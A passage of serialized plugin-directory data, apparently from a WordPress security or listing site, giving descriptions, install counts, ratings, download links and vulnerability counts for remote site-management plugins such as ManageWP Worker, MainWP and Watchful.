clients the value of a monthly WordPress maintenance plan. Central Pro’s WordPress Maintenance Reports handle the hard work of compiling all the update actions you took, so you can justify the value of what you do.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>White-label Report Emails\u003C\u002Fstrong> – Upload your own logo and set custom colors for the header, footer and button color of report emails to better match your company’s branding.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Summarize Update Actions to WordPress Core, Themes & Plugins + More Website Stats\u003C\u002Fstrong> – Reports include all update actions taken within a certain timeframe, both from the Central dashboard and the WordPress dashboard. See a full list of all of the stats included in Central’s WordPress reports.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Schedule Reports to Automatically Run & Deliver Report Emails\u003C\u002Fstrong> – Reports can run on a daily, weekly or monthly basis, and then automatically email reports to clients.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Email Beautiful, Interactive HTML Reports to Clients\u003C\u002Fstrong> – Reports are delivered as beautiful, interactive HTML reports so clients can get a visual summary of the WordPress maintenance you provide. Central handles compiling and organizing update actions and key website stats. See a WordPress maintenance report demo.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>SEO Reporting\u003C\u002Fstrong> – Summarize key SEO Stats stats in an easy-to-digest format — showing how your client’s sites are doing in Google and where they can improve. See a WordPress SEO report demo.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>☑️ WordPress Updates\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Daily Notification Emails\u003C\u002Fstrong> – Get a daily summary of available WordPress updates as a helpful reminder to log in and run updates. Customize the delivery time of your daily notification emails to fit your schedule.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>One-Click Update All\u003C\u002Fstrong> – View a summary of all available updates for all your websites and then update them all with one click.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>View Plugin Changelogs\u003C\u002Fstrong> – View update logs that include all updates made in Central, including the date of the update, previous version number and new version number.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>View Updates by Site\u003C\u002Fstrong> – The in-depth individual site view gives you a detailed view of the available updates for that site, with more WordPress site management action options.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Sort Updates By Theme or Plugin\u003C\u002Fstrong> – View a listing of individual themes and plugins you have installed on your websites along with available update information.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ignore Update Option\u003C\u002Fstrong> – If you’ve made customizations to your themes and plugins, an update could overwrite your work. Choose to ignore updates for specific themes and plugins.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>🔗 Integrations\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>WordPress.org\u003C\u002Fstrong> – Search and install themes and plugins from WordPress.org remotely from Central. View your WordPress.org profile favorites to save time.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Solid Backups\u003C\u002Fstrong> – Run remote WordPress backups, download your latest backup file, view number of edits since your last Solid Backups backup.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Solid Backups Stash\u003C\u002Fstrong> – View, download and delete your Solid Backups Stash backups, and view a graph of the total amount of Stash space you’ve used.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Solid Security\u003C\u002Fstrong> – Temporarily Whitelist your IP Address remotely so you don’t get locked out of the website. View and release any Solid Security lockouts.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Analytics\u003C\u002Fstrong> – Track Google Analytics for multiple WordPress sites. View key metrics from Google Analytics such as traffic, landing pages, keywords, sessions and referrer URLS.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Search Console\u003C\u002Fstrong> – Get a quick summary of Google Search Console data, view search analytics, crawl errors and sitemaps info.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Yoast SEO\u003C\u002Fstrong> – Central’s SEO Checker feature integrates with the Yoast SEO Plugin so you can quickly see the SEO status of the content on your WordPress website.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Gravity Forms\u003C\u002Fstrong> – From Central, you can view all the forms you’ve created in Gravity Forms for that site. You can also quickly see how many responses and views each form has received.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WP101 Plugin\u003C\u002Fstrong> – Easily add a complete series of WordPress onboarding tutorial videos to the WordPress dashboard of your client sites with Central’s WP101 plugin integration.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>License\u003C\u002Fh3>\n\u003Cp>This file is part of Solid Central. This plugin is released under the terms of the GNU General Public License.\u003C\u002Fp>\n\u003Cp>DISCLAIMER: Under no circumstances do we release this plugin with any warranty, implied or otherwise. We cannot be held responsible for any damage that might arise from the use of this plugin.\u003C\u002Fp>\n","Manage multiple WordPress sites from one dashboard.",30000,1383163,84,"2026-02-18T19:29:00.000Z","6.8.5","6.4",[20,153,154,155,23],"manage-multiple-websites","manage-updates","report-dashboard","https:\u002F\u002Fsolidwp.com\u002Fcentral","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fithemes-sync.3.2.9.zip",90,4,"2026-01-11 00:00:00",{"slug":162,"name":163,"version":164,"author":165,"author_profile":166,"description":167,"short_description":168,"active_installs":169,"downloaded":170,"rating":171,"num_ratings":172,"last_updated":173,"tested_up_to":174,"requires_at_least":175,"requires_php":176,"tags":177,"homepage":181,"download_link":182,"security_score":27,"vuln_count":60,"unpatched_count":29,"last_vuln_date":183,"fetched_at":31},"worker","ManageWP Worker","4.9.33","ManageWP","https:\u002F\u002Fprofiles.wordpress.org\u002Fmanagewp\u002F","\u003Cp>So you’re looking for a better way to manage WordPress websites? We have you covered! \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002F\" title=\"Manage Multiple WordPress Websites\" rel=\"nofollow ugc\">ManageWP\u003C\u002Fa> is a dashboard that helps you save time and nerves by automating your workflow, so you could focus on things that matter. It is fast, secure and free for an unlimited number of websites.\u003C\u002Fp>\n\u003Ch4>Everything in One Place\u003C\u002Fh4>\n\u003Cp>Just the hassle of logging into each of your websites is enough to ruin your day. ManageWP compiles the data from all of your sites on one dashboard, so you can check up on your websites in a single glance. And if you need to take a better look at a particular website, you’re just a click away. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002F1-click-login\" title=\"1-click login\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Bulk actions\u003C\u002Fh4>\n\u003Cp>57 updates on 12 sites? Update them all with a single click. And it’s not just updates. Clean spam, database overhead, run security checks and more – with just one click you can do these things on all your websites at once. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fmanage-plugins-and-themes\" title=\"Manage plugins & themes\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Cloud Backup that just works\u003C\u002Fh4>\n\u003Cp>A reliable backup is the backbone of any business. And we have a free monthly backup for all of your websites. It’s, incremental, reliable, and works where other backup solutions fail. The free Backup includes monthly scheduled backup, off-site storage, 1-click restore, US\u002FEU storage choice and the option to exclude files and folders. The premium Backup gives you on-demand backups, weekly\u002Fdaily\u002Fhourly backup cycles & \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fbackup\" title=\"ManageWP Backup\" rel=\"nofollow ugc\">more\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch4>Safe updates\u003C\u002Fh4>\n\u003Cp>Updating plugins & themes is a huge pain, so we came with this: a backup is automatically created before each update. After the update, the system checks the website and rolls back automatically if something’s wrong. And the best part is that you can set these updates to run at 3am, when the website traffic as its lowest.\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fsafe-updates\" title=\"Safe Updates\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch4>Client Report\u003C\u002Fh4>\n\u003Cp>Summarize your hard work in a professional looking report and send it to your clients to showcase your work. The free Client Report includes basic customization and on-demand reports. The premium Client Report lets you white label and automate your reports. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fclient-report\" title=\"Client Report\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Performance and Security Checks\u003C\u002Fh4>\n\u003Cp>Slow or infected websites are bad for business. Luckily, you can now keep tabs on your websites with regular performance & security checks. The free \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fsecurity-check\" title=\"security check\" rel=\"nofollow ugc\">Security Check\u003C\u002Fa> & \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fperformance-scan\" title=\"performance check\" rel=\"nofollow ugc\">Performance Check\u003C\u002Fa> come with fully functional checks and logging. Premium versions let you fully automate the checks, and get an SMS or an email if something’s wrong.\u003C\u002Fp>\n\u003Ch4>Google Analytics integration\u003C\u002Fh4>\n\u003Cp>Connect multiple Google Analytics accounts, and keep track of all the important metrics from one place.  \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fanalytics\" title=\"Google Analytics integration\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Uptime Monitor (premium add-on)\u003C\u002Fh4>\n\u003Cp>Be the first to know when your website is down with both email and SMS notifications, and get your website back online before anyone else notices. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fuptime-monitor\" title=\"Uptime Monitor\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Cloning & Migration (bundled with premium Backup add-on)\u003C\u002Fh4>\n\u003Cp>What used to take you hours of work and nerves of steel is now a one-click operation. Pick a source website, pick a destination website, click Go. Within minutes, your website will be alive and kicking on a new server. Yeah, it’s that easy. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fclone\" title=\"Cloning & migration\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>SEO Ranking (premium add-on)\u003C\u002Fh4>\n\u003Cp>Be on top of your website rankings and figure out which keywords work best for you, as well as keeping on eye on your competitors. This way you will know how well you stack up against them. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fseo-ranking\" title=\"SEO Ranking\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>White Label (premium add-on)\u003C\u002Fh4>\n\u003Cp>Rename or completely hide the ManageWP Worker plugin. Clients don’t need to know what you are using to manage their websites. \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\u002Fwhite-label\" title=\"White Label\" rel=\"nofollow ugc\">Read more\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Is This All?\u003C\u002Fh4>\n\u003Cp>No way! We’ve got a bunch of other awesome features, both free and premium, you can check out on our \u003Ca href=\"https:\u002F\u002Fmanagewp.com\u002Ffeatures\" title=\"ManageWP Features\" rel=\"nofollow ugc\">ManageWP features page\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Check out the \u003Ca href=\"https:\u002F\u002Fvimeo.com\u002F220647227\" rel=\"nofollow ugc\">ManageWP promo video\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Ciframe loading=\"lazy\" title=\"Manage Explainer Video\" src=\"https:\u002F\u002Fplayer.vimeo.com\u002Fvideo\u002F220647227?dnt=1&app_id=122963\" width=\"750\" height=\"422\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\">\u003C\u002Fiframe>\u003C\u002Fp>\n\u003Ch3>License\u003C\u002Fh3>\n\u003Cp>This file is part of ManageWP Worker.\u003C\u002Fp>\n\u003Cp>ManageWP Worker is free software: you can redistribute it and\u002For modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.\u003C\u002Fp>\n\u003Cp>ManageWP Worker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\u003C\u002Fp>\n\u003Cp>You should have received a copy of the GNU General Public License along with ManageWP Worker. If not, see \u003Ca href=\"https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002F\" rel=\"nofollow ugc\">https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002F\u003C\u002Fa>.\u003C\u002Fp>\n","A better way to manage dozens of WordPress websites.",1000000,27399643,92,677,"2026-04-13T08:35:00.000Z","6.9.4","3.1","",[20,178,179,180,23],"manage-multiple-sites","migrate","performance","https:\u002F\u002Fmanagewp.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworker.4.9.33.zip","2026-05-13 18:06:28",{"slug":185,"name":186,"version":187,"author":188,"author_profile":189,"description":190,"short_description":191,"active_installs":192,"downloaded":193,"rating":194,"num_ratings":195,"last_updated":196,"tested_up_to":174,"requires_at_least":197,"requires_php":18,"tags":198,"homepage":203,"download_link":204,"security_score":205,"vuln_count":206,"unpatched_count":29,"last_vuln_date":207,"fetched_at":31},"mainwp-child","MainWP Child – Securely Connects to the MainWP Dashboard to Manage Multiple Sites","6.0.8","mainwp","https:\u002F\u002Fprofiles.wordpress.org\u002Fmainwp\u002F","\u003Cp>\u003Cstrong>The MainWP Child Plugin securely connects the WordPress sites you want to manage to the \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fmainwp\u002F\" rel=\"ugc\">MainWP Dashboard\u003C\u002Fa>.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>The MainWP Child plugin creates a secure connection between your WordPress sites and your self-hosted MainWP Dashboard, enabling you to efficiently manage WP installations from a single, centralized location.\u003C\u002Fp>\n\u003Cp>With MainWP Child and the MainWP Dashboard, you can update themes, plugins, and WordPress core across all connected sites, perform backups and security scans, manage posts, pages, users, and comments in bulk, and integrate with popular plugins like WooCommerce, Yoast SEO, and Wordfence.\u003C\u002Fp>\n\u003Cp>The \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fmainwp\u002F\" rel=\"ugc\">MainWP Dashboard\u003C\u002Fa> also offers features for cost tracking and client management, making it an all-in-one solution for agencies and freelancers looking to manage WP sites efficiently. The functionality can be further extended with a growing library of \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fmainwp-add-ons\u002F\" rel=\"nofollow ugc\">MainWP Add-ons\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fmainwp.com\u002F\" rel=\"nofollow ugc\">MainWP\u003C\u002Fa> is the ideal solution for freelancers and agencies managing client sites, developers and designers working on multiple projects, marketers and content managers overseeing various websites, and anyone responsible for maintaining multiple WordPress sites.\u003C\u002Fp>\n\u003Ch4>Why Choose MainWP for WordPress Management?\u003C\u002Fh4>\n\u003Cp>MainWP is 100% free and open-source, with no monthly fees, even for unlimited sites.\u003C\u002Fp>\n\u003Cp>As a self-hosted solution, it offers maximum control and privacy. MainWP provides comprehensive site management features and is highly customizable with add-ons and developer hooks.  The MainWP Child plugin even comes with its own privacy policy to guarantee your \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fmainwp-plugin-privacy-policy\u002F\" rel=\"nofollow ugc\">privacy while using MainWP\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>All of this makes MainWP the best non-SaaS alternative to ManageWP, InfiniteWP, WPRemote, and WP Umbrella.\u003C\u002Fp>\n\u003Ch4>Key Features\u003C\u002Fh4>\n\u003Cp>MainWP Child, combined with the MainWP Dashboard, offers secure management of unlimited WordPress sites, one-click updates for plugins, themes, and WordPress core, automated backups and security monitoring, bulk management of posts, pages, users, and comments, white-labeling and custom branding options, and \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fmainwp-add-ons\u002F\" rel=\"nofollow ugc\">powerful add-ons\u003C\u002Fa> for WooCommerce, Yoast SEO, Wordfence, and more.\u003C\u002Fp>\n\u003Ch4>Expand Your MainWP Dashboard with Add-ons\u003C\u002Fh4>\n\u003Cp>MainWP offers a growing library of add-ons that add advanced functionality to your Dashboard. From client reporting to SEO management, MainWP add-ons provide the tools you need to deliver top-notch service to your clients.\u003C\u002Fp>\n\u003Ch4>Join the MainWP Community\u003C\u002Fh4>\n\u003Cp>MainWP is more than just a plugin; it’s a thriving community of WordPress professionals. Join our \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002FMainWPUsers\u002F\" rel=\"nofollow ugc\">MainWP Users Facebook Group\u003C\u002Fa> to connect with other users, share advice, and stay updated on the latest features and add-ons.\u003C\u002Fp>\n\u003Ch4>Developer-Friendly\u003C\u002Fh4>\n\u003Cp>MainWP is built with developers in mind. We provide extensive documentation, hooks, and an API to help you create custom extensions and integrations for the MainWP platform.  We have a site at \u003Ca href=\"https:\u002F\u002Fmainwp.dev\" rel=\"nofollow ugc\">MainWP.dev\u003C\u002Fa> dedicated to MainWP developers.\u003C\u002Fp>\n\u003Ch4>Get Started with MainWP Today\u003C\u002Fh4>\n\u003Cp>Take control of your WordPress site management with MainWP and the MainWP Child plugin. With its powerful features, unlimited site connections, and user-friendly interface, MainWP is the smart choice for anyone managing multiple WordPress sites.\u003C\u002Fp>\n\u003Ch4>Learn More About MainWP\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fmainwp.com\" rel=\"nofollow ugc\">MainWP Website\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fkb\u002F\" rel=\"nofollow ugc\">MainWP Documentation\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcommunity.mainwp.com\u002Fc\u002Fsupport\u002Fmainwp-support\u002F\" rel=\"nofollow ugc\">MainWP Support\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fblog\u002F\" rel=\"nofollow ugc\">MainWP Blog\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fmainwp\u002F\" rel=\"nofollow ugc\">MainWP on GitHub\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n","MainWP Child establishes a secure link between your WordPress sites and your self-hosted MainWP Dashboard, simplifying site management.",700000,43098022,100,70,"2026-04-14T15:40:00.000Z","6.2",[199,200,23,201,202],"backups","monitoring","site-management","update","https:\u002F\u002Fmainwp.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmainwp-child.6.0.8.zip",91,7,"2024-12-12 00:00:00",{"slug":188,"name":209,"version":210,"author":188,"author_profile":189,"description":211,"short_description":212,"active_installs":213,"downloaded":214,"rating":215,"num_ratings":216,"last_updated":217,"tested_up_to":174,"requires_at_least":197,"requires_php":18,"tags":218,"homepage":203,"download_link":221,"security_score":222,"vuln_count":223,"unpatched_count":29,"last_vuln_date":224,"fetched_at":31},"MainWP Dashboard: Self-hosted WordPress Management for Agencies","6.0.9","\u003Cp>Managing multiple WordPress sites can be a time-consuming and frustrating task. The \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002F\" rel=\"nofollow ugc\">MainWP Dashboard\u003C\u002Fa> empowers you to take back your time by allowing you to efficiently manage and secure all your WordPress sites from your own centralized Dashboard.\u003C\u002Fp>\n\u003Cp>Designed for agencies, freelancers, and web professionals, MainWP offers comprehensive control with a privacy-first approach. Harness the power of MainWP for updates, backups, and more, ensuring your sites are always running smoothly and securely.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Features for Advanced WordPress Management:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Centralized Updates: Keep all your WordPress sites up-to-date with single-click updates.\u003C\u002Fli>\n\u003Cli>Secure Backups: Implement scheduled or on-demand backups for complete site security.\u003C\u002Fli>\n\u003Cli>Manage both your sites and your clients with the Client Management module\u003C\u002Fli>\n\u003Cli>The built-in Cost Tracker allows you to easily keep track of client costs\u003C\u002Fli>\n\u003Cli>Private and Self-hosted: Your data stays yours, with full privacy and control.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Stop the Software as a Service (SaaS) Treadmill:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Built on WordPress’s core principles, the MainWP Dashboard plugin is uniquely positioned as the go-to solution for WordPress management. It combines ease of use with robust features and unmatched privacy.\u003C\u002Fp>\n\u003Cp>The MainWP plugins are open-source and privacy-focused and come with their own privacy policies to ensure that the plugins do not collect any personally identifiable information (PII).\u003C\u002Fp>\n\u003Cp>The MainWP Dashboard is extendable, allowing third-party developers to hook into it. It also provides support for CLI and has its own REST API, so anything you need or want to run your business your way can be developed for your MainWP Dashboard.\u003C\u002Fp>\n\u003Cp>All of this makes MainWP the best non-SaaS alternative to ManageWP, InfiniteWP, WPRemote, and WP Umbrella.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Getting Started with MainWP:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>MainWP is designed to be user-friendly and intuitive, even for those new to WordPress management plugins. With a straightforward setup process and a clean, organized dashboard, you’ll be able to start managing your WordPress sites efficiently in no time.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Setting up MainWP is straightforward—install the dashboard on a private WordPress site, add the MainWP Child plugin to your other WordPress sites, and take control.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Your Guarantee of Privacy\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>The MainWP plugins come with their own \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fmainwp-plugin-privacy-policy\u002F\" rel=\"nofollow ugc\">privacy policies\u003C\u002Fa> to ensure that the plugins do not collect any personally identifiable information (PII).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>How Is MainWP Free? What’s the Catch? How Will You Continue to Pay Development Costs?\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>MainWP Dashboard is \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fmainwp-free-features\u002F\" rel=\"nofollow ugc\">100% FREE\u003C\u002Fa> and always will be. Whether you manage 5 sites or 5,000, the core dashboard remains free.\u003C\u002Fp>\n\u003Cp>We make money by offering \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fsignup\u002F\" rel=\"nofollow ugc\">MainWP Pro\u003C\u002Fa>, which provides access to a wide range of premium add-ons. These premium add-ons are organized into two clear categories:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Cstrong>Integrations:\u003C\u002Fstrong>\u003Cbr \u002F>\nAdd-ons in this category enable seamless connections with popular third-party services and plugins, allowing you to integrate the tools you already use directly into your MainWP Dashboard.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Extensions:\u003C\u002Fstrong>\u003Cbr \u002F>\nThese are custom-built, standalone add-ons developed exclusively for the MainWP Dashboard, designed to add unique and specialized functionality to enhance your WordPress management experience.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>For more details, visit our \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Fmainwp-add-ons\u002F\" rel=\"nofollow ugc\">Premium Add-ons\u003C\u002Fa> page and see how our free and pro features compare at \u003Ca href=\"https:\u002F\u002Fmainwp.com\u002Ffree-vs-pro\u002F\" rel=\"nofollow ugc\">Free vs. Pro: Know the Difference\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Experience the MainWP Difference\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Are you ready to take the hassle out of managing your WordPress sites? MainWP makes it easy to keep everything updated, secure, and running just the way you need it. With over 20k site owners trusting MainWP with over 700k WordPress sites, every day, you’ll quickly see how much simpler website management can be. Try it today and feel the difference for yourself!\u003C\u002Fp>\n","Run updates, backups, security and reporting across all client sites from your own server. Keep data private and prove your value with branded reports &hellip;",20000,1708778,98,2341,"2026-04-14T15:35:00.000Z",[199,219,23,202,220],"manage-multiple-wordpress-sites","wordpress-maintenance","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmainwp.6.0.9.zip",97,6,"2024-02-27 00:00:00",{"slug":226,"name":227,"version":228,"author":226,"author_profile":229,"description":230,"short_description":231,"active_installs":232,"downloaded":233,"rating":194,"num_ratings":223,"last_updated":234,"tested_up_to":174,"requires_at_least":235,"requires_php":236,"tags":237,"homepage":241,"download_link":242,"security_score":194,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"watchful","Remote Website Management Plugin by Watchful","2.0.9","https:\u002F\u002Fprofiles.wordpress.org\u002Fwatchful\u002F","\u003Cp>Watchful is a web developers toolbox for remotely managing and monitoring multiple WordPress websites. Simply add all your production and staging sites into the \u003Ca href=\"https:\u002F\u002Fwatchful.net\" title=\"Manage multiple WordPress websites\" rel=\"nofollow ugc\">Watchful Dashboard\u003C\u002Fa> and use our tools to monitor uptime, backups, updates to WordPress and core and plugins, and more. You’ll be amazed at how much time and money you save managing your WordPress sites with Watchful.\u003C\u002Fp>\n\u003Ch4>Top Features at-a-glance\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Backup scheduler and monitor\u003C\u002Fli>\n\u003Cli>Powerful plugin updates, including auto updates\u003C\u002Fli>\n\u003Cli>Uptime monitor & SSL certificate checker\u003C\u002Fli>\n\u003Cli>Best practice, malware, and filesystem scanners\u003C\u002Fli>\n\u003Cli>Early warning system for intruder detection\u003C\u002Fli>\n\u003Cli>SEO audit tool\u003C\u002Fli>\n\u003Cli>Plugin tracker to monitor when plugins have been added and removed\u003C\u002Fli>\n\u003Cli>Google Analytics integration\u003C\u002Fli>\n\u003Cli>Website reporting for your clients\u003C\u002Fli>\n\u003Cli>Customizable dashboard\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Our \u003Ca href=\"https:\u002F\u002Fapp.watchful.net\u002Ffree-trial.html\" rel=\"nofollow ugc\">Free Trial\u003C\u002Fa> will let you test up to 5 sites at once to see how much. You won’t believe how much time you’ll save!\u003C\u002Fp>\n\u003Ch3>Customizable Dashboard\u003C\u002Fh3>\n\u003Cp>With your entire portfolio of websites in a single dashboard, you can easily review and prioritize website maintenance tasks. Sort by core version, number of pending updates, backup date, tags and more to optimize Watchful to your workflow.\u003C\u002Fp>\n\u003Ch3>Powerful Update Technology\u003C\u002Fh3>\n\u003Cp>The easiest way to protect your websites is to keep WordPress and all of its plugins up-to-date. With Watchful, you can apply updates across your entire portfolio in just one click. Supported updates include WordPress, all of the plugins in the WordPress repo, as well as a growing list of the most popular paid plugins. You can even manage your commercial license keys and remotely register new domains with commercial WordPress software vendors.\u003C\u002Fp>\n\u003Ch3>Best Practice Scanner\u003C\u002Fh3>\n\u003Cp>The Site Audit is a best practice scanner that checks your site for security best-practices, hacked or modified core files, and malware. If any problems are detected, advice and\u002For simple tools are provided to help fix any issues.\u003C\u002Fp>\n\u003Ch3>SEO Audit\u003C\u002Fh3>\n\u003Cp>Be sure that the technical aspects of your website are properly configured with the SEO Audit. The audit detects problems such as broken links, missing sitemaps, and content relevance — and recommends fixes — to ensure that your site is performing at it’s very best when indexed by search engines.\u003C\u002Fp>\n\u003Ch3>Plugin & Extension Tracker\u003C\u002Fh3>\n\u003Cp>The Plugin & Extension Tracker allows you to easily browse all of the WordPress plugins added to your website and logs any changes for unexpected modifications. By correlating the dates of plugin installation\u002Fupgrade to any bugs that arise on your sites, this logging feature greatly improves the troubleshooting process. The tracker also integrates with our system-wide search tools. This makes it fast and easy to locate all of your sites with specific plugins — and even a specific version of a plugin — so that maintenance tasks such as addressing zero-day security issues can be applied quickly and efficiently to only the sites that need them.\u003C\u002Fp>\n\u003Ch3>Uptime Monitoring\u003C\u002Fh3>\n\u003Cp>The Uptime Monitor checks your sites every minute of every day to make sure it is online. If your site cannot be reached, a notification is sent and the problem recorded. The monitor displays the last 10 uptime\u002Fdowntime events and calculates the percentage uptime for the last day, 7 days, 30 days, and throughout the lifetime of your site. This information can be included in your white-label reports (see below).\u003C\u002Fp>\n\u003Ch3>Google Analytics integration\u003C\u002Fh3>\n\u003Cp>The Google Analytics integration allows you to instantly get an overview of your website traffic, visitors, most viewed pages, top referral sources, and most commonly searched for keywords. This information can be included in your white-label reports (see below).\u003C\u002Fp>\n\u003Ch3>White-label Reports\u003C\u002Fh3>\n\u003Cp>Our white-label reporting tool makes it easy to generate reports for your clients. Reports can be generated on a per-site basis, or based on tags, giving you a lot of flexibility in the report contents. Each report contains data on website uptime, Google Analytics, and logs for the indicated time period showing software updates and other site activity. These great looking reports can be sent to your client(s) to showcase the value of your services.\u003C\u002Fp>\n\u003Ch3>There’s More!\u003C\u002Fh3>\n\u003Cp>Watchful has lots more features and tools and is adding more functionality regularly. Check out our website and \u003Ca href=\"https:\u002F\u002Fapp.watchful.net\u002Ffree-trial.html\" rel=\"nofollow ugc\">try the free demo\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>License\u003C\u002Fh3>\n\u003Cp>This program is free software; you can redistribute it and\u002For modify\u003Cbr \u002F>\nit under the terms of the GNU General Public License as published by\u003Cbr \u002F>\nthe Free Software Foundation; either version 2 of the License, or\u003Cbr \u002F>\n(at your option) any later version.\u003C\u002Fp>\n\u003Cp>This program is distributed in the hope that it will be useful,\u003Cbr \u002F>\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\u003Cbr \u002F>\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\u003Cbr \u002F>\nGNU General Public License for more details.\u003C\u002Fp>\n\u003Cp>You should have received a copy of the GNU General Public License\u003Cbr 